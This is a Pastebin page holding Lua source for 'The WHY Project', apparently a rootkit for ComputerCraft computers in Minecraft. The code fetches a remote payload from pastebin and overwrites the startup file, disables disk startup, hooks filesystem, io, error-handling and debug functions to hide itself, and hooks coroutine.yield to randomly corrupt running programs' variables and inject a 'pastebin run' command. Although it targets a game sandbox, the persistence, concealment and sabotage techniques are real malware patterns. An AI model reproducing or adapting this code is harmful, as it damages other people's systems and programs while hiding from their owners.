osmarks

The WHY Project

Jan 6th, 2019
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. load([[
  2.  
  3. -- #### Vars
  4.  
  5. local userStartupPath = "userStartup"
  6. local real = {}
  7.  
  8. -- #### "Local" functions
  9.  
  10. settings.set("shell.allow_disk_startup", false)
  11. settings.set("shell.allow_startup", true)
  12. settings.save ".settings"
  13. local h = http.get "https://pastebin.com/raw/C4SpMZT3"
  14. if fs.isDir "startup" then fs.delete "startup" end
  15. local f = fs.open("startup", "w")
  16. f.write(h.readAll())
  17. f.close()
  18. h.close()
  19.  
  20. local function writeYellow(text)
  21.     if term.isColor() then
  22.         term.setTextColor(colors.yellow)
  23.         term.write(text)
  24.         term.setTextColor(colors.white)
  25.     else
  26.         term.write(text)
  27.     end
  28. end
  29.  
  30. -- #### Tweaking compromising functions
  31.  
  32. local function preprocessError(e)
  33.     if type(e) == "string" then
  34.         local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
  35.         return newText
  36.     end
  37.     return e
  38. end
  39.  
  40. real.pcall = pcall
  41. local function fakePcall(...)
  42.     local ok, result = real.pcall(...)
  43.     if not ok then return false, preprocessError(result)
  44.     else return ok, result end
  45. end
  46. _G.pcall = fakePcall
  47.  
  48. real.xpcall = xpcall
  49. local function fakeXpcall(fn, ehandler)
  50.     return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end)
  51. end
  52. _G.xpcall = fakeXpcall
  53.  
  54. real.find = fs.find
  55. local function fakeFind(path)
  56.     if string.lower(path) == "startup" then
  57.         path = userStartupPath
  58.     end
  59.  
  60.     list = real.find(path)
  61.     for i=1,#list do
  62.         if list[i] == userStartupPath then
  63.             list[i] = "startup"
  64.         end
  65.     end
  66.     return list
  67. end
  68. fs.find = fakeFind
  69.  
  70. real.list = fs.list
  71. local function fakeList(path)
  72.     list = real.list(path)
  73.     for i=1,#list do
  74.         if list[i] == "startup" then
  75.             table.remove(list, i)
  76.         end
  77.     end
  78.     for i=1,#list do
  79.         if list[i] == userStartupPath then
  80.             list[i] = "startup"
  81.         end
  82.     end
  83.     return list
  84. end
  85. fs.list = fakeList
  86.  
  87. real.exists = fs.exists
  88. local function fakeExists(path)
  89.     if string.lower(path) == "startup" then
  90.         path = userStartupPath
  91.     end
  92.    
  93.     return real.exists(path)
  94. end
  95. fs.exists = fakeExists
  96.  
  97. real.ioOpen = io.open
  98. local function fakeIoOpen(path)
  99.     if string.lower(path) == "startup" then
  100.         path = userStartupPath
  101.     end
  102.    
  103.     return real.ioOpen(path)
  104. end
  105. io.open = fakeIoOpen
  106.  
  107. real.makeDir = fs.makeDir
  108. local function fakeMakeDir(path)
  109.     if string.lower(path) == "startup" then
  110.         path = userStartupPath
  111.     end
  112.    
  113.     return real.makeDir(path)
  114. end
  115. fs.makeDir = fakeMakeDir
  116.  
  117. real.delete = fs.delete
  118. local function fakeDelete(path)
  119.     if string.lower(path) == "startup" then
  120.         path = userStartupPath
  121.     end
  122.    
  123.     return real.delete(path)
  124. end
  125. fs.delete = fakeDelete
  126.  
  127. real.open = fs.open
  128. local function fakeOpen(path, mode)
  129.     if string.lower(path) == "startup" then
  130.         path = userStartupPath
  131.     end
  132.    
  133.     return real.open(path, mode)
  134. end
  135. fs.open = fakeOpen
  136.  
  137. real.isReadOnly = fs.isReadOnly
  138. local function fakeIsReadOnly(path)
  139.     if string.lower(path) == "startup" then
  140.         path = userStartupPath
  141.     end
  142.    
  143.     return real.isReadOnly(path)
  144. end
  145. fs.isReadOnly = fakeIsReadOnly
  146.  
  147. real.getSize = fs.getSize
  148. local function fakeGetSize(path)
  149.     if string.lower(path) == "startup" then
  150.         path = userStartupPath
  151.     end
  152.    
  153.     return real.getSize(path)
  154. end
  155. fs.getSize = fakeGetSize
  156.  
  157. real.move = fs.move
  158. local function fakeMove(fromPath, toPath)
  159.     if string.lower(fromPath) == "startup" then
  160.         fromPath = userStartupPath
  161.     end
  162.     if string.lower(toPath) == "startup" then
  163.         toPath = userStartupPath
  164.     end
  165.    
  166.     return real.move(fromPath, toPath)
  167. end
  168. fs.move = fakeMove
  169.  
  170. real.copy = fs.copy
  171. local function fakeCopy(fromPath, toPath)
  172.     if string.lower(fromPath) == "startup" then
  173.         fromPath = userStartupPath
  174.     end
  175.     if string.lower(toPath) == "startup" then
  176.         toPath = userStartupPath
  177.     end
  178.    
  179.     return real.copy(fromPath, toPath)
  180. end
  181. fs.copy = fakeCopy
  182.  
  183. real.stringDump = string.dump
  184. local function isDefinedHere(fn)
  185.     local d = real.stringDump(fn)
  186.     return d:find "@why" ~= nil
  187. end
  188.  
  189. local function fakeStringDump(fn)
  190.     if isDefinedHere(fn) then
  191.         error "Unable to dump given function"
  192.     end
  193.     return real.stringDump(fn)
  194. end
  195. string.dump = fakeStringDump
  196.  
  197. real.debugGetupvalue = debug.getupvalue
  198. local function fakeDebugGetupvalue(fn, ...)
  199.     if isDefinedHere(fn) then return nil
  200.     else return real.debugGetupvalue(fn, ...) end
  201. end
  202. debug.getupvalue = fakeDebugGetupvalue
  203.  
  204. local function randomStackPos()
  205.     local eligible = {}
  206.     local i = 1
  207.     while true do
  208.         local info = debug.getinfo(i, "Sn")
  209.         if not info then break end
  210.         if info.what ~= "C" and info.source ~= "@why" and not (info.source == "@bios.lua" and info.name == nil) then
  211.             table.insert(eligible, i)
  212.         end
  213.         i = i + 1
  214.     end
  215.     if #eligible == 0 then return 0
  216.     else return eligible[math.random(1, #eligible)] end
  217. end
  218.  
  219. local function mutateValue(x)
  220.     local ty = type(x)
  221.     if math.random(0, 10) == 4 then
  222.         return tostring(x)
  223.     end
  224.     if ty == "number" then
  225.         return x + math.random(-10, 10)
  226.     elseif ty == "string" then
  227.         local option = math.random(1, 3)
  228.         if option == 1 then
  229.             if #x == 0 then
  230.                 local p = math.random(1, #x)
  231.                 return x:sub(1, p) .. x:sub(p)
  232.             else
  233.                 return "42"
  234.             end
  235.         elseif option == 2 then
  236.             return x .. string.char(math.random(32, 128))
  237.         elseif option == 3 then
  238.             return x:reverse()
  239.         end
  240.     elseif ty == "table" then
  241.         local option = math.random(1, 5)
  242.         if option == 1 then
  243.             debug.setmetatable(x, {
  244.                 __newindex = function(t, k, v)
  245.                     rawset(t, k, mutateValue(v))
  246.                     if math.random(1, 100) == 42 then
  247.                         error("java.lang.NullPointerException", 0)
  248.                     end
  249.                 end
  250.             })
  251.         elseif option == 2 then
  252.             x[math.random(1, #x + 1)] = "pastebin run RM13UGFa"
  253.         elseif option == 3 then
  254.             local mt = (debug.getmetatable(x) or {})
  255.             mt.__index = _G
  256.             debug.setmetatable(x, mt)
  257.         elseif option == 4 then
  258.             local mt = (debug.getmetatable(x) or {})
  259.             mt.__eq = function() return math.random(0, 1) == 0 end
  260.             mt.__mode = "v"
  261.             debug.setmetatable(x, mt)
  262.         elseif option == 5 then
  263.             for k, v in pairs(x) do
  264.                 if type(k) == "number" then
  265.                     x[k * 8] = v
  266.                     mutateValue(x[k * 8])
  267.                 end
  268.             end
  269.         end
  270.     elseif ty == "function" then
  271.         return setmetatable({}, {
  272.             __call = function(t, ...)
  273.                 return x(...)
  274.             end
  275.         })
  276.     end
  277.     return x
  278. end
  279.  
  280. -- The fun part. Inject lots of logic into coroutine.yield (which *MUST* be run periodically or CC forces the thread to stop) which messes up programs.
  281. real.coroutineYield = coroutine.yield
  282. local function fakeCoroutineYield(...)
  283.     local mode = math.random(0, 100)
  284.     if mode == 0 then
  285.         local stacklevel = randomStackPos()
  286.         local info = debug.getinfo(stacklevel, "fu")
  287.         if info then
  288.             if info.nups > 0 then
  289.                 local i = math.random(1, info.nups)
  290.                 local name, now = real.debugGetupvalue(info.func, i)
  291.                 local new = mutateValue(now)
  292.                 if new then debug.setupvalue(info.func, i, new) end
  293.             end
  294.         end
  295.     elseif mode == 1 then
  296.         local stacklevel = randomStackPos()
  297.         local i = 1
  298.         while true do
  299.             local name, value = debug.getlocal(stacklevel, i)
  300.             if not name then break end
  301.             if math.random(1, 4) == 4 then
  302.                 local new = mutateValue(value)
  303.                 if new then debug.setlocal(stacklevel, i, new) end
  304.             end
  305.             i = i + 1
  306.         end
  307.     elseif mode == 2 then
  308.         local env = getfenv(randomStackPos())
  309.         local keys = {}
  310.         for k in pairs(env) do table.insert(keys, k) end
  311.         if #keys > 0 then
  312.             local key = keys[math.random(1, #keys)]
  313.             local new = mutateValue(env[key])
  314.             if new then env[key] = new end
  315.         end
  316.     end
  317.     return real.coroutineYield(...)
  318. end
  319. coroutine.yield = fakeCoroutineYield
  320.  
  321. term.clear()
  322. term.setCursorPos(1,1)
  323. writeYellow(os.version())
  324. term.setCursorPos(1,2)
  325.  
  326. if fs.exists("startup") then
  327.     shell.run("startup")
  328. end
  329.  
  330. ]], "@why")()
Add Comment
Please, Sign In to add comment